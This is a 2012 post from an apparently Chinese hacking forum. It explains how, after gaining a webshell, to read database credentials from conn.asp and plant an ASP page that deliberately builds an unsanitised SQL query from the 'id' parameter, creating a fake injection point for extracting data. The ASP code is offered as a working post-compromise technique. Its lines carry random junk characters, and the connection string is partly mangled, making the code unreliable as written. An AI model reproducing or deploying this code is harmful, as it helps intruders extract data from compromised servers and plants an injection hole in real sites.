找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2090|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
7 ~1 U5 ]" o% H) Q$ Z6 ZASP/Visual Basic代码' d6 u6 ~7 _$ k' K- ]0 V
<!--#include file="xx.asp"-->    ( D% q5 s! C/ m- t! n* G0 f& w+ j
<%   
1 Q* T& ]$ S3 M: J! c: Nset rs=server.createobject("ADODB.recordset")   
5 X# n6 R7 M+ }4 A0 c" Mid = request("id")    5 K+ t% G( e. o4 A
strSQL = "select * from admin where id=" & id   
. E' ]4 }2 v6 P7 w; t* ars.open strSQL,conn,1,3    % L  ]# d# }2 \" M  q0 C3 I' w; ~
rs.close   
2 G. e$ F3 L; ]%>  
3 d* J$ ]* k: V' O) m把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
* t3 ?" s! }+ w/ y; J/ V# K6 D. O  C然后就要构造一个连接数据库的文件了,代码如下:
+ ?" X0 @2 ^3 w, g2 e) pASP/Visual Basic代码
9 b; r4 [+ T7 ~; I1 B: a6 a<%            
' X& o& n; Y- V$ `strSQLServerName = "000.000.000.000"     '服务器名称或地址   
3 T/ }! U5 f: V1 |, k% {" OstrSQLDBUserName = "sqlname"         '数据库帐号    5 q! x- F, C7 R* y, O+ |  T$ E  Y
strSQLDBPassword = "sqlpass"         '数据库密码    & s, w! E4 o6 y" c2 x; z! C* n" Z( @
strSQLDBName = "sqldataname"           '数据库名称   
4 ~- q$ o) h4 u9 }/ {Set conn = Server.CreateObject("ADODB.Connection")   
- {; w6 z* `5 p  NstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
0 k4 s! C/ v. y. O8 U# Hconn.open strCon    7 P7 h6 _! n8 Q& a) X
%>  ( j: x. \9 D0 E- ]
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功2 Z* d$ X) Q1 k' `4 {! G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表